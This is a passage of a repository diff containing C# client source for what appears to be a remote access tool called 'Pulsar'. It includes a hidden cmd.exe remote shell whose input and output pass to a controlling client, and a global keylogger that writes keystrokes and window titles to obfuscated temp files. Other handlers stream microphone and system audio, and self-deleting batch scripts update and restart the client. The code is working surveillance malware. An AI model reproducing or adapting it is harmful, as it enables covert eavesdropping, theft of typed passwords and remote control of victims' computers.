"move /y " + "\"" + newFilePath + "\"" + " " + "\"" + currentFilePath + "\"" + "\r\n" +
"start \"\" " + "\"" + currentFilePath + "\"" + "\r\n" +
"del \"%~f0\" /a /f /q >nul 2>&1 & exit";
File.WriteAllText(batchFile, updateBatch, new UTF8Encoding(false));
return batchFile;
}
/// <summary>
/// Creates the restart batch file.
/// </summary>
/// <param name="currentFilePath">The current file path of the client.</param>
/// <returns>The file path to the batch file which can then get executed. Returns <c>string.Empty</c> on failure.</returns>
public static string CreateRestartBatch(string currentFilePath)
{
string batchFile = FileHelper.GetTempFilePath(".bat");
string restartBatch =
"@echo off" + "\r\n" +
"chcp 65001" + "\r\n" + // Unicode path support for cyrillic, chinese, ...
"timeout /T 5 /NOBREAK > nul" + "\r\n" +
"start \"\" " + "\"" + currentFilePath + "\"" + "\r\n" +
"del \"%~f0\" /a /f /q >nul 2>&1 & exit";
File.WriteAllText(batchFile, restartBatch, new UTF8Encoding(false));
return batchFile;
}
}
}
+333
View File
@@ -0,0 +1,333 @@
using Pulsar.Client.Networking;
using Pulsar.Common.Messages;
using Pulsar.Common.Messages.Administration.RemoteShell;
using System;
using System.Diagnostics;
using System.Globalization;
using System.IO;
using System.Text;
using System.Threading;
namespace Pulsar.Client.IO
{
/// <summary>
/// This class manages a remote shell session.
/// </summary>
public class Shell : IDisposable
{
/// <summary>
/// The process of the command-line (cmd).
/// </summary>
private Process _prc;
/// <summary>
/// Decides if we should still read from the output.
/// <remarks>
/// Detects unexpected closing of the shell.
/// </remarks>
/// </summary>
private bool _read;
/// <summary>
/// The lock object for the read variable.
/// </summary>
private readonly object _readLock = new object();
/// <summary>
/// The lock object for the StreamReader.
/// </summary>
private readonly object _readStreamLock = new object();
/// <summary>
/// The current console encoding.
/// </summary>
private Encoding _encoding;
/// <summary>
/// Redirects commands to the standard input stream of the console with the correct encoding.
/// </summary>
private StreamWriter _inputWriter;
/// <summary>
/// The client to sends responses to.
/// </summary>
private readonly PulsarClient _client;
/// <summary>
/// Initializes a new instance of the <see cref="Shell"/> class using a given client.
/// </summary>
/// <param name="client">The client to send shell responses to.</param>
public Shell(PulsarClient client)
{
_client = client;
}
/// <summary>
/// Creates a new session of the shell.
/// </summary>
private void CreateSession()
{
lock (_readLock)
{
_read = true;
}
var cultureInfo = CultureInfo.InstalledUICulture;
_encoding = Encoding.GetEncoding(cultureInfo.TextInfo.OEMCodePage);
_prc = new Process
{
StartInfo = new ProcessStartInfo("cmd")
{
UseShellExecute = false,
CreateNoWindow = true,
RedirectStandardInput = true,
RedirectStandardOutput = true,
RedirectStandardError = true,
StandardOutputEncoding = _encoding,
StandardErrorEncoding = _encoding,
WorkingDirectory = Path.GetPathRoot(Environment.GetFolderPath(Environment.SpecialFolder.System)),
Arguments = $"/K CHCP {_encoding.CodePage}"
}
};
_prc.Start();
RedirectIO();
_client.Send(new DoShellExecuteResponse
{
Output = "\n>> New Session created\n"
});
}
/// <summary>
/// Starts the redirection of input and output.
/// </summary>
private void RedirectIO()
{
_inputWriter = new StreamWriter(_prc.StandardInput.BaseStream, _encoding);
new Thread(RedirectStandardOutput).Start();
new Thread(RedirectStandardError).Start();
}
/// <summary>
/// Reads the output from the stream.
/// </summary>
/// <param name="firstCharRead">The first read char.</param>
/// <param name="streamReader">The StreamReader to read from.</param>
/// <param name="isError">True if reading from the error-stream, else False.</param>
private void ReadStream(int firstCharRead, StreamReader streamReader, bool isError)
{
lock (_readStreamLock)
{
var streamBuffer = new StringBuilder();
streamBuffer.Append((char)firstCharRead);
// While there are more characters to be read
while (streamReader.Peek() > -1)
{
// Read the character in the queue
var ch = streamReader.Read();
// Accumulate the characters read in the stream buffer
streamBuffer.Append((char)ch);
if (ch == '\n')
SendAndFlushBuffer(ref streamBuffer, isError);
}
// Flush any remaining text in the buffer
SendAndFlushBuffer(ref streamBuffer, isError);
}
}
/// <summary>
/// Sends the read output to the Client.
/// </summary>
/// <param name="textBuffer">Contains the contents of the output.</param>
/// <param name="isError">True if reading from the error-stream, else False.</param>
private void SendAndFlushBuffer(ref StringBuilder textBuffer, bool isError)
{
if (textBuffer.Length == 0) return;
var toSend = ConvertEncoding(_encoding, textBuffer.ToString());
if (string.IsNullOrEmpty(toSend)) return;
_client.Send(new DoShellExecuteResponse { Output = toSend, IsError = isError });
textBuffer.Clear();
}
/// <summary>
/// Reads from the standard output-stream.
/// </summary>
private void RedirectStandardOutput()
{
try
{
int ch;
// The Read() method will block until something is available
while (_prc != null && !_prc.HasExited && (ch = _prc.StandardOutput.Read()) > -1)
{
ReadStream(ch, _prc.StandardOutput, false);
}
lock (_readLock)
{
if (_read)
{
_read = false;
throw new ApplicationException("session unexpectedly closed");
}
}
}
catch (ObjectDisposedException)
{
// just exit
}
catch (Exception ex)
{
if (ex is ApplicationException || ex is InvalidOperationException)
{
_client.Send(new DoShellExecuteResponse
{
Output = "\n>> Session unexpectedly closed\n",
IsError = true
});
CreateSession();
}
}
}
/// <summary>
/// Reads from the standard error-stream.
/// </summary>
private void RedirectStandardError()
{
try
{
int ch;
// The Read() method will block until something is available
while (_prc != null && !_prc.HasExited && (ch = _prc.StandardError.Read()) > -1)
{
ReadStream(ch, _prc.StandardError, true);
}
lock (_readLock)
{
if (_read)
{
_read = false;
throw new ApplicationException("session unexpectedly closed");
}
}
}
catch (ObjectDisposedException)
{
// just exit
}
catch (Exception ex)
{
if (ex is ApplicationException || ex is InvalidOperationException)
{
_client.Send(new DoShellExecuteResponse
{
Output = "\n>> Session unexpectedly closed\n",
IsError = true
});
CreateSession();
}
}
}
/// <summary>
/// Executes a shell command.
/// </summary>
/// <param name="command">The command to execute.</param>
/// <returns>False if execution failed, else True.</returns>
public bool ExecuteCommand(string command)
{
if (_prc == null || _prc.HasExited)
{
try
{
CreateSession();
}
catch (Exception ex)
{
_client.Send(new DoShellExecuteResponse
{
Output = $"\n>> Failed to creation shell session: {ex.Message}\n",
IsError = true
});
return false;
}
}
_inputWriter.WriteLine(ConvertEncoding(_encoding, command));
_inputWriter.Flush();
return true;
}
/// <summary>
/// Converts the encoding of an input string to UTF-8 format.
/// </summary>
/// <param name="sourceEncoding">The source encoding of the input string.</param>
/// <param name="input">The input string.</param>
/// <returns>The input string in UTF-8 format.</returns>
private string ConvertEncoding(Encoding sourceEncoding, string input)
{
var utf8Text = Encoding.Convert(sourceEncoding, Encoding.UTF8, sourceEncoding.GetBytes(input));
return Encoding.UTF8.GetString(utf8Text);
}
/// <summary>
/// Releases all resources used by this class.
/// </summary>
public void Dispose()
{
Dispose(true);
GC.SuppressFinalize(this);
}
protected virtual void Dispose(bool disposing)
{
if (disposing)
{
lock (_readLock)
{
_read = false;
}
if (_prc == null)
return;
if (!_prc.HasExited)
{
try
{
_prc.Kill();
}
catch
{
}
}
if (_inputWriter != null)
{
_inputWriter.Close();
_inputWriter = null;
}
_prc.Dispose();
_prc = null;
}
}
}
}
Binary file not shown.
@@ -0,0 +1,16 @@
namespace Pulsar.Client.IpGeoLocation
{
/// <summary>
/// Stores the IP geolocation information.
/// </summary>
public class GeoInformation
{
public string IpAddress { get; set; }
public string Country { get; set; }
public string CountryCode { get; set; }
public string Timezone { get; set; }
public string Asn { get; set; }
public string Isp { get; set; }
public int ImageIndex { get; set; }
}
}
@@ -0,0 +1,174 @@
using Pulsar.Client.Helper;
using System.Globalization;
using System.IO;
using System.Net;
namespace Pulsar.Client.IpGeoLocation
{
/// <summary>
/// Class to retrieve the IP geolocation information.
/// </summary>
public class GeoInformationRetriever
{
/// <summary>
/// List of all available flag images on the server side.
/// </summary>
private readonly string[] _imageList =
{
"ad", "ae", "af", "ag", "ai", "al",
"am", "an", "ao", "ar", "as", "at", "au", "aw", "ax", "az", "ba",
"bb", "bd", "be", "bf", "bg", "bh", "bi", "bj", "bm", "bn", "bo",
"br", "bs", "bt", "bv", "bw", "by", "bz", "ca", "catalonia", "cc",
"cd", "cf", "cg", "ch", "ci", "ck", "cl", "cm", "cn", "co", "cr",
"cs", "cu", "cv", "cx", "cy", "cz", "de", "dj", "dk", "dm", "do",
"dz", "ec", "ee", "eg", "eh", "england", "er", "es", "et",
"europeanunion", "fam", "fi", "fj", "fk", "fm", "fo", "fr", "ga",
"gb", "gd", "ge", "gf", "gh", "gi", "gl", "gm", "gn", "gp", "gq",
"gr", "gs", "gt", "gu", "gw", "gy", "hk", "hm", "hn", "hr", "ht",
"hu", "id", "ie", "il", "in", "io", "iq", "ir", "is", "it", "jm",
"jo", "jp", "ke", "kg", "kh", "ki", "km", "kn", "kp", "kr", "kw",
"ky", "kz", "la", "lb", "lc", "li", "lk", "lr", "ls", "lt", "lu",
"lv", "ly", "ma", "mc", "md", "me", "mg", "mh", "mk", "ml", "mm",
"mn", "mo", "mp", "mq", "mr", "ms", "mt", "mu", "mv", "mw", "mx",
"my", "mz", "na", "nc", "ne", "nf", "ng", "ni", "nl", "no", "np",
"nr", "nu", "nz", "om", "pa", "pe", "pf", "pg", "ph", "pk", "pl",
"pm", "pn", "pr", "ps", "pt", "pw", "py", "qa", "re", "ro", "rs",
"ru", "rw", "sa", "sb", "sc", "scotland", "sd", "se", "sg", "sh",
"si", "sj", "sk", "sl", "sm", "sn", "so", "sr", "st", "sv", "sy",
"sz", "tc", "td", "tf", "tg", "th", "tj", "tk", "tl", "tm", "tn",
"to", "tr", "tt", "tv", "tw", "tz", "ua", "ug", "um", "us", "uy",
"uz", "va", "vc", "ve", "vg", "vi", "vn", "vu", "wales", "wf",
"ws", "ye", "yt", "za", "zm", "zw"
};
/// <summary>
/// Retrieves the IP geolocation information.
/// </summary>
/// <returns>The retrieved IP geolocation information.</returns>
public GeoInformation Retrieve()
{
var geo = TryRetrieveOnline() ?? TryRetrieveLocally();
if (string.IsNullOrEmpty(geo.IpAddress))
geo.IpAddress = TryGetWanIp();
geo.IpAddress = (string.IsNullOrEmpty(geo.IpAddress)) ? "Unknown" : geo.IpAddress;
geo.Country = (string.IsNullOrEmpty(geo.Country)) ? "Unknown" : geo.Country;
geo.CountryCode = (string.IsNullOrEmpty(geo.CountryCode)) ? "-" : geo.CountryCode;
geo.Timezone = (string.IsNullOrEmpty(geo.Timezone)) ? "Unknown" : geo.Timezone;
geo.Asn = (string.IsNullOrEmpty(geo.Asn)) ? "Unknown" : geo.Asn;
geo.Isp = (string.IsNullOrEmpty(geo.Isp)) ? "Unknown" : geo.Isp;
geo.ImageIndex = 0;
for (int i = 0; i < _imageList.Length; i++)
{
if (_imageList[i] == geo.CountryCode.ToLower())
{
geo.ImageIndex = i;
break;
}
}
if (geo.ImageIndex == 0) geo.ImageIndex = 247; // question icon
return geo;
}
/// <summary>
/// Tries to retrieve the geolocation information online.
/// </summary>
/// <returns>The retrieved geolocation information if successful, otherwise <c>null</c>.</returns>
private GeoInformation TryRetrieveOnline()
{
try
{
HttpWebRequest request = (HttpWebRequest)WebRequest.Create("https://ipwho.is/");
request.UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0";
request.Proxy = null;
request.Timeout = 10000;
using (HttpWebResponse response = (HttpWebResponse)request.GetResponse())
{
using (Stream dataStream = response.GetResponseStream())
{
var geoInfo = JsonHelper.Deserialize<GeoResponse>(dataStream);
GeoInformation g = new GeoInformation
{
IpAddress = geoInfo.Ip,
Country = geoInfo.Country,
CountryCode = geoInfo.CountryCode,
Timezone = geoInfo.Timezone.UTC,
Asn = geoInfo.Connection.ASN.ToString(),
Isp = geoInfo.Connection.ISP
};
return g;
}
}
}
catch
{
return null;
}
}
/// <summary>
/// Tries to retrieve the geolocation information locally.
/// </summary>
/// <returns>The retrieved geolocation information if successful, otherwise <c>null</c>.</returns>
private GeoInformation TryRetrieveLocally()
{
try
{
GeoInformation g = new GeoInformation();
// use local information
var cultureInfo = CultureInfo.CurrentUICulture;
var region = new RegionInfo(cultureInfo.LCID);
g.Country = region.DisplayName;
g.CountryCode = region.TwoLetterISORegionName;
g.Timezone = DateTimeHelper.GetLocalTimeZone();
return g;
}
catch
{
return null;
}
}
/// <summary>
/// Tries to retrieves the WAN IP.
/// </summary>
/// <returns>The WAN IP as string if successful, otherwise <c>null</c>.</returns>
private string TryGetWanIp()
{
string wanIp = "";
try
{
HttpWebRequest request = (HttpWebRequest)WebRequest.Create("https://api.ipify.org/");
request.UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0";
request.Proxy = null;
request.Timeout = 5000;
using (HttpWebResponse response = (HttpWebResponse)request.GetResponse())
{
using (Stream dataStream = response.GetResponseStream())
{
using (StreamReader reader = new StreamReader(dataStream))
{
wanIp = reader.ReadToEnd();
}
}
}
}
catch
{
}
return wanIp;
}
}
}
@@ -0,0 +1,45 @@
using System.Runtime.Serialization;
namespace Pulsar.Client.IpGeoLocation
{
[DataContract]
public class GeoResponse
{
[DataMember(Name = "ip")]
public string Ip { get; set; }
[DataMember(Name = "continent_code")]
public string ContinentCode { get; set; }
[DataMember(Name = "country")]
public string Country { get; set; }
[DataMember(Name = "country_code")]
public string CountryCode { get; set; }
[DataMember(Name = "timezone")]
public Time Timezone { get; set; }
[DataMember(Name = "connection")]
public Conn Connection { get; set; }
}
[DataContract]
public class Time
{
[DataMember(Name = "utc")]
public string UTC { get; set; }
}
[DataContract]
public class Conn
{
[DataMember(Name = "asn")]
public string ASN { get; set; }
[DataMember(Name = "isp")]
public string ISP { get; set; }
}
}
+272
View File
@@ -0,0 +1,272 @@
using Gma.System.MouseKeyHook;
using Pulsar.Client.Extensions;
using Pulsar.Client.Helper;
using Pulsar.Common.Helpers;
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.IO;
using System.Text;
using System.Timers;
using System.Windows.Forms;
using Timer = System.Timers.Timer;
namespace Pulsar.Client.Logging
{
public class Keylogger : IDisposable
{
private readonly long _maxLogFileSize;
private readonly Timer _flushTimer;
private readonly object _syncLock = new object();
private readonly StringBuilder _currentBuffer = new StringBuilder();
private readonly IKeyboardMouseEvents _events;
private string _currentWindow = string.Empty;
private DateTime _lastWindowChange = DateTime.UtcNow;
private string _logFilePath;
private bool _isFirstWrite = true;
private readonly TimeSpan _windowChangeThreshold = TimeSpan.FromSeconds(1);
public bool IsDisposed { get; private set; }
public Keylogger(double flushInterval, long maxLogFileSize)
{
_maxLogFileSize = maxLogFileSize;
_events = Hook.GlobalEvents();
_logFilePath = GetLogFilePath();
_flushTimer = new Timer(flushInterval);
_flushTimer.Elapsed += TimerElapsed;
_flushTimer.AutoReset = true;
}
public void Start()
{
Subscribe();
_flushTimer.Start();
}
private void Subscribe()
{
_events.KeyDown += OnKeyDown;
_events.KeyPress += OnKeyPress;
}
private void Unsubscribe()
{
_events.KeyDown -= OnKeyDown;
_events.KeyPress -= OnKeyPress;
}
private void OnKeyDown(object sender, KeyEventArgs e)
{
string newWindow = NativeMethodsHelper.GetForegroundWindowTitle() ?? "Unknown Window";
lock (_syncLock)
{
bool windowChanged = newWindow != _currentWindow;
bool enoughTimePassed = DateTime.UtcNow - _lastWindowChange > _windowChangeThreshold;
// Check if window changed significantly
if (windowChanged && enoughTimePassed)
{
_currentWindow = newWindow;
_lastWindowChange = DateTime.UtcNow;
// Start a fresh line for the new window
if (_currentBuffer.Length > 0 && !_currentBuffer.ToString().EndsWith(Environment.NewLine))
_currentBuffer.AppendLine();
// Append window header cleanly
_currentBuffer.AppendLine($"[{DateTime.UtcNow:HH:mm:ss}] {newWindow}");
}
HandleSpecialKey(e);
}
}
private void HandleSpecialKey(KeyEventArgs e)
{
switch (e.KeyCode)
{
case Keys.Enter:
_currentBuffer.AppendLine();
break;
case Keys.Back:
HandleBackspace();
break;
case Keys.Space:
_currentBuffer.Append(' ');
break;
case Keys.Tab:
_currentBuffer.Append("\t");
break;
case Keys.Escape:
_currentBuffer.Append("[Esc]");
break;
case Keys.Delete:
_currentBuffer.Append("[Del]");
break;
case Keys.Up:
case Keys.Down:
case Keys.Left:
case Keys.Right:
// Ignore arrow keys to reduce noise
break;
case Keys.LControlKey:
case Keys.RControlKey:
case Keys.LShiftKey:
case Keys.RShiftKey:
case Keys.LMenu:
case Keys.RMenu:
case Keys.LWin:
case Keys.RWin:
// Ignore modifier keys alone
break;
default:
// Log function keys
if (e.KeyCode >= Keys.F1 && e.KeyCode <= Keys.F24)
{
_currentBuffer.Append($"[{e.KeyCode}]");
}
break;
}
}
private void HandleBackspace()
{
if (_currentBuffer.Length > 0)
{
// Remove last character if it's not part of a window header
char lastChar = _currentBuffer[_currentBuffer.Length - 1];
if (lastChar != '\n' && lastChar != '\r' && lastChar != ']')
{
_currentBuffer.Length--;
}
}
}
private void OnKeyPress(object sender, KeyPressEventArgs e)
{
lock (_syncLock)
{
if (!char.IsControl(e.KeyChar))
_currentBuffer.Append(e.KeyChar);
else if (e.KeyChar == '\r') // Enter key
_currentBuffer.AppendLine();
}
}
private void TimerElapsed(object sender, ElapsedEventArgs e)
{
try
{
FlushToFile();
}
catch (Exception ex)
{
Debug.WriteLine($"Keylogger flush error: {ex.Message}");
}
}
private void FlushToFile()
{
lock (_syncLock)
{
if (_currentBuffer.Length == 0) return;
string contentToWrite = _currentBuffer.ToString();
_currentBuffer.Clear();
WriteToFile(contentToWrite);
}
}
private void WriteToFile(string content)
{
if (string.IsNullOrWhiteSpace(content)) return;
try
{
// Write using the obfuscated log helper (handles compression + framing)
FileHelper.WriteObfuscatedLogFile(_logFilePath, content + Environment.NewLine);
// Check file size
FileInfo info = new FileInfo(_logFilePath);
if (info.Length > _maxLogFileSize)
{
RotateLogFile();
}
_isFirstWrite = false; // mark that weve written at least once
}
catch (Exception ex)
{
Debug.WriteLine($"Log file write error: {ex.Message}");
}
}
private void RotateLogFile()
{
try
{
string baseName = DateTime.UtcNow.ToString("yyyy-MM-dd");
string basePath = Path.Combine(Path.GetTempPath(), baseName);
string newFilePath = basePath + ".txt";
int counter = 1;
while (File.Exists(newFilePath))
{
newFilePath = $"{basePath}_{counter:00}.txt";
counter++;
}
_logFilePath = newFilePath;
_isFirstWrite = true;
}
catch (Exception ex)
{
Debug.WriteLine($"Log rotation error: {ex.Message}");
}
}
private string GetLogFilePath()
{
return Path.Combine(Path.GetTempPath(), DateTime.UtcNow.ToString("yyyy-MM-dd") + ".txt");
}
public void FlushImmediately()
{
FlushToFile();
}
public void Dispose()
{
Dispose(true);
GC.SuppressFinalize(this);
}
protected virtual void Dispose(bool disposing)
{
if (IsDisposed) return;
if (disposing)
{
try
{
FlushToFile();
Unsubscribe();
_flushTimer.Stop();
_flushTimer.Dispose();
_events.Dispose();
_currentBuffer.Clear();
}
catch (Exception ex)
{
Debug.WriteLine($"Dispose error: {ex.Message}");
}
}
IsDisposed = true;
}
}
}
+289
View File
@@ -0,0 +1,289 @@
using System;
using System.ComponentModel;
using System.Threading;
using System.Threading.Tasks;
using System.Windows.Forms;
namespace Pulsar.Client.Logging
{
/// <summary>
/// Provides a service to run the keylogger within its own message loop.
/// </summary>
public class KeyloggerService : IDisposable
{
private readonly Thread _msgLoopThread;
private ApplicationContext _msgLoop;
private Keylogger _keylogger;
private readonly ManualResetEventSlim _initialized = new ManualResetEventSlim(false);
private readonly ManualResetEventSlim _shutdownComplete = new ManualResetEventSlim(false);
private readonly CancellationTokenSource _cancellationTokenSource = new CancellationTokenSource();
private bool _disposed;
private volatile bool _isRunning;
public KeyloggerService()
{
_msgLoopThread = new Thread(MessageLoopThread)
{
IsBackground = true,
Name = "Keylogger Message Loop Thread",
Priority = ThreadPriority.BelowNormal // Reduce impact on system
};
}
/// <summary>
/// Gets whether the keylogger service is currently running.
/// </summary>
public bool IsRunning => _isRunning && !_disposed;
/// <summary>
/// Event raised when the keylogger service encounters an error.
/// </summary>
public event EventHandler<Exception> ErrorOccurred;
/// <summary>
/// Event raised when the keylogger service starts successfully.
/// </summary>
public event EventHandler Started;
/// <summary>
/// Event raised when the keylogger service stops.
/// </summary>
public event EventHandler Stopped;
private void MessageLoopThread()
{
var threadId = Thread.CurrentThread.ManagedThreadId;
try
{
// Set up the message loop
SynchronizationContext.SetSynchronizationContext(new WindowsFormsSynchronizationContext());
_msgLoop = new ApplicationContext();
// OPTIMIZED: 3-second flush for live viewing + 10MB file size
_keylogger = new Keylogger(6000, 10 * 1024 * 1024);
_keylogger.Start();
_isRunning = true;
_initialized.Set();
// Notify start
OnStarted();
// Run the message loop with cancellation support
RunMessageLoopWithCancellation();
_isRunning = false;
OnStopped();
}
catch (Exception ex)
{
_isRunning = false;
OnErrorOccurred(ex);
}
finally
{
_shutdownComplete.Set();
}
}
private void RunMessageLoopWithCancellation()
{
while (!_cancellationTokenSource.Token.IsCancellationRequested)
{
// Process all Windows messages in the queue
Application.DoEvents();
// OPTIMIZED: 25ms sleep for better CPU usage
//Thread.Sleep(25);
}
// Properly exit the application context
_msgLoop?.ExitThread();
}
/// <summary>
/// Starts the keylogger service and waits until it's ready.
/// </summary>
/// <param name="timeoutMs">Timeout in milliseconds to wait for initialization</param>
/// <returns>True if started successfully, false if timed out</returns>
public bool Start(int timeoutMs = 10000)
{
if (_disposed)
throw new ObjectDisposedException(nameof(KeyloggerService));
if (_isRunning)
return true;
if (!_msgLoopThread.IsAlive)
{
_msgLoopThread.Start();
if (_initialized.Wait(timeoutMs))
{
return _isRunning;
}
else
{
throw new TimeoutException("Keylogger service failed to initialize within the specified timeout.");
}
}
return _isRunning;
}
/// <summary>
/// Starts the keylogger service asynchronously.
/// </summary>
public async Task<bool> StartAsync(int timeoutMs = 10000)
{
return await Task.Run(() => Start(timeoutMs));
}
/// <summary>
/// Stops the keylogger service.
/// </summary>
/// <param name="timeoutMs">Timeout in milliseconds to wait for shutdown</param>
/// <returns>True if stopped successfully, false if timed out</returns>
public bool Stop(int timeoutMs = 5000)
{
if (_disposed || !_isRunning)
return true;
try
{
_cancellationTokenSource.Cancel();
// Signal the message loop to exit
_msgLoop?.ExitThread();
if (_shutdownComplete.Wait(timeoutMs))
{
return true;
}
else
{
OnErrorOccurred(new TimeoutException("Keylogger service failed to stop within the specified timeout."));
return false;
}
}
catch (Exception ex)
{
OnErrorOccurred(ex);
return false;
}
}
/// <summary>
/// Forces an immediate flush of the keylogger buffer.
/// </summary>
public void Flush()
{
if (_isRunning && _keylogger != null)
{
try
{
// Use Invoke if we're on a different thread
if (_msgLoop != null && _msgLoop.MainForm != null && !_msgLoop.MainForm.InvokeRequired)
{
_keylogger.FlushImmediately();
}
else
{
_msgLoop?.MainForm?.Invoke((MethodInvoker)(() => _keylogger.FlushImmediately()));
}
}
catch (Exception ex)
{
OnErrorOccurred(ex);
}
}
}
/// <summary>
/// Restarts the keylogger service.
/// </summary>
public async Task<bool> RestartAsync(int shutdownTimeoutMs = 5000, int startupTimeoutMs = 10000)
{
if (Stop(shutdownTimeoutMs))
{
// Small delay to ensure clean shutdown
await Task.Delay(1000);
return await StartAsync(startupTimeoutMs);
}
return false;
}
protected virtual void OnErrorOccurred(Exception ex)
{
ErrorOccurred?.Invoke(this, ex);
}
protected virtual void OnStarted()
{
Started?.Invoke(this, EventArgs.Empty);
}
protected virtual void OnStopped()
{
Stopped?.Invoke(this, EventArgs.Empty);
}
protected virtual void Dispose(bool disposing)
{
if (_disposed)
return;
if (disposing)
{
// Signal cancellation first
_cancellationTokenSource.Cancel();
try
{
// Stop the service if it's running
if (_isRunning)
{
Stop(3000);
}
// Wait for thread to complete
if (_msgLoopThread.IsAlive && !_msgLoopThread.Join(2000))
{
_msgLoopThread.Interrupt();
}
}
catch (Exception ex)
{
OnErrorOccurred(ex);
}
finally
{
// Dispose resources
_keylogger?.Dispose();
_keylogger = null;
_msgLoop?.Dispose();
_msgLoop = null;
_cancellationTokenSource?.Dispose();
_initialized?.Dispose();
_shutdownComplete?.Dispose();
}
}
_disposed = true;
}
~KeyloggerService()
{
Dispose(false);
}
public void Dispose()
{
Dispose(true);
GC.SuppressFinalize(this);
}
}
}
Binary file not shown.
+261
View File
@@ -0,0 +1,261 @@
using NAudio.CoreAudioApi;
using NAudio.Wave;
using Pulsar.Common.Messages;
using Pulsar.Common.Messages.Audio;
using Pulsar.Common.Messages.Other;
using Pulsar.Common.Networking;
using System;
using System.Collections.Generic;
namespace Pulsar.Client.Messages
{
public class AudioHandler : NotificationMessageProcessor, IDisposable
{
public override bool CanExecute(IMessage message) => message is GetMicrophone ||
message is GetMicrophoneDevice;
public override bool CanExecuteFrom(ISender sender) => true;
public ISender _client;
private bool _isStarted;
public WaveInEvent _audioDevice;
private int _deviceID;
public override void Execute(ISender sender, IMessage message)
{
switch (message)
{
case GetMicrophone msg:
Execute(sender, msg);
break;
case GetMicrophoneDevice msg:
Execute(sender, msg);
break;
}
}
private void Execute(ISender client, GetMicrophone message)
{
if (message.CreateNew)
{
try
{
_isStarted = false;
_audioDevice?.Dispose();
OnReport("Audio streaming started");
}
catch (Exception ex)
{
OnReport($"Error during audio device cleanup: {ex.Message}");
}
}
if (message.Destroy)
{
try
{
Destroy();
OnReport("Audio streaming stopped");
}
catch (Exception ex)
{
OnReport($"Error stopping audio: {ex.Message}");
}
return;
}
if (_client == null) _client = client;
if (!_isStarted)
{
try
{
_deviceID = message.DeviceIndex;
if (_deviceID < 0 || _deviceID >= WaveIn.DeviceCount)
{
OnReport($"Invalid microphone device index: {_deviceID}. Available devices: {WaveIn.DeviceCount}");
return;
}
var capabilities = WaveIn.GetCapabilities(_deviceID);
if (capabilities.Channels == 0)
{
OnReport($"Microphone device {_deviceID} has no available channels");
return;
}
OnReport($"Initializing microphone device {_deviceID}: {capabilities.ProductName}");
_audioDevice = new WaveInEvent
{
DeviceNumber = _deviceID,
WaveFormat = new WaveFormat(message.Bitrate, capabilities.Channels)
};
_audioDevice.BufferMilliseconds = 50;
_audioDevice.DataAvailable += sourcestream_DataAvailable;
_audioDevice.StartRecording();
_isStarted = true;
}
catch (ArgumentOutOfRangeException ex)
{
OnReport($"Device index out of range: {ex.Message}");
_isStarted = false;
}
catch (InvalidOperationException ex)
{
OnReport($"Invalid microphone operation: {ex.Message}");
_isStarted = false;
}
catch (System.Runtime.InteropServices.COMException ex)
{
OnReport($"COM error accessing microphone: {ex.Message}");
_isStarted = false;
}
catch (UnauthorizedAccessException ex)
{
OnReport($"Unauthorized access to microphone: {ex.Message}");
_isStarted = false;
}
catch (Exception ex)
{
OnReport($"Unexpected error initializing microphone: {ex.Message}");
_isStarted = false;
}
}
}
private void sourcestream_DataAvailable(object notUsed, WaveInEventArgs e)
{
try
{
if (e?.Buffer == null || e.BytesRecorded <= 0)
{
return;
}
byte[] rawAudio = new byte[e.BytesRecorded];
Array.Copy(e.Buffer, rawAudio, e.BytesRecorded);
_client?.Send(new GetMicrophoneResponse
{
Audio = rawAudio,
Device = _deviceID
});
}
catch (Exception ex)
{
OnReport($"Error processing microphone data: {ex.Message}");
}
}
private void Execute(ISender client, GetMicrophoneDevice message)
{
try
{
var deviceList = new List<Tuple<int, string>>();
int deviceCount = WaveIn.DeviceCount;
for (int i = 0; i < deviceCount; i++)
{
try
{
var capabilities = WaveIn.GetCapabilities(i);
string deviceName = capabilities.ProductName;
OnReport($"Found microphone device {i}: {deviceName} (Channels: {capabilities.Channels})");
if (!string.IsNullOrEmpty(deviceName) && capabilities.Channels > 0)
{
deviceList.Add(Tuple.Create(i, deviceName));
}
}
catch (Exception ex)
{
OnReport($"Error accessing microphone device {i}: {ex.Message}");
}
}
client.Send(new GetMicrophoneDeviceResponse { DeviceInfos = deviceList });
}
catch (Exception ex)
{
OnReport($"Error enumerating microphone devices: {ex.Message}");
client.Send(new GetMicrophoneDeviceResponse { DeviceInfos = new List<Tuple<int, string>>() });
}
}
public void Destroy()
{
try
{
if (_audioDevice != null)
{
try
{
_audioDevice.DataAvailable -= sourcestream_DataAvailable;
}
catch (Exception ex)
{
OnReport($"Error unsubscribing from DataAvailable event: {ex.Message}");
}
try
{
if (_audioDevice.DeviceNumber >= 0) // Check if device is valid
{
_audioDevice.StopRecording();
}
}
catch (Exception ex)
{
OnReport($"Error stopping microphone recording: {ex.Message}");
}
try
{
_audioDevice.Dispose();
}
catch (Exception ex)
{
OnReport($"Error disposing microphone device: {ex.Message}");
}
_audioDevice = null;
}
}
catch (Exception ex)
{
OnReport($"Error in Destroy method: {ex.Message}");
}
finally
{
_isStarted = false;
}
}
/// <summary>
/// Disposes all managed and unmanaged resources associated with this message processor.
/// </summary>
public void Dispose()
{
Dispose(true);
GC.SuppressFinalize(this);
}
protected virtual void Dispose(bool disposing)
{
if (disposing)
{
try
{
Destroy();
}
catch (Exception ex)
{
OnReport($"Error during disposal: {ex.Message}");
}
}
}
}
}
@@ -0,0 +1,275 @@
using NAudio.CoreAudioApi;
using NAudio.Wave;
using Pulsar.Common.Messages;
using Pulsar.Common.Messages.Audio;
using Pulsar.Common.Messages.Other;
using Pulsar.Common.Networking;
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Threading.Tasks;
using System.Windows.Forms;
namespace Pulsar.Client.Messages
{
public class AudioOutputHandler : NotificationMessageProcessor, IDisposable
{
public override bool CanExecute(IMessage message) => message is GetOutput ||
message is GetOutputDevice;
public override bool CanExecuteFrom(ISender sender) => true;
public ISender _client;
private bool _isStarted;
public WasapiLoopbackCapture _audioDevice;
private int _deviceID;
public override void Execute(ISender sender, IMessage message)
{
switch (message)
{
case GetOutput msg:
Execute(sender, msg);
break;
case GetOutputDevice msg:
Execute(sender, msg);
break;
}
}
private void Execute(ISender client, GetOutput message)
{
if (message.CreateNew)
{
try
{
_isStarted = false;
_audioDevice?.Dispose();
OnReport("Speaker audio streaming started");
}
catch (Exception ex)
{
OnReport($"Error during audio device cleanup: {ex.Message}");
}
}
if (message.Destroy)
{
try
{
